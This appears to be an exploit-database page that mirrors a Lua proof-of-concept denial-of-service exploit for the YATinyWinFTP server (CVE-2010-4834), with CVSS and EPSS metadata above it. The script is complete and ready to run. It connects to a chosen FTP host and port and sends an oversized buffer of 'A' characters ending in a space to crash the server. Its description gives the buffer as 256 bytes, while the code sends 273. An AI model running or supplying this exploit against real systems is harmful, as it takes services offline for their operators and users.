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YATinyWinFTP - Denial of Service

CVE Category Price Severity
CVE-2010-4834 CWE-20 $1000 High
Author Risk Exploitation Type Date
Yati D High Remote 2021-01-05
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010044

Below is a copy:

YATinyWinFTP - Denial of Service
-- Title  : YATinyWinFTP - Denial of Service (PoC)
-- Writer : uromulou

-- Description : This program connects to FTP and sends a 256-byte packet with a space at the end, in short, down.
-- NOTE: requires luasocket installed to run the program.
-- Instalation using luarocks : luarocks install luasocket

-- The program

local socket = require 'socket'
local tcp = socket.tcp()
local buff = string.rep("A", 272) .. "\x20"

print("# YATinyWinFTP - Denial of Service (PoC)")
print("# Powered by @uromulou")

if #arg < 2 then
    print("# lua exploit.lua [server] [port]")
    print("# lua exploit.lua 127.0.0.1 2121")
else
    print(string.format("Connectin to %s:%d...", arg[1], arg[2]))
    tcp:connect(arg[1], arg[2])
    print("Sendin bytes to server, waitin, and... DOWN!")
    tcp:send(buff)
end

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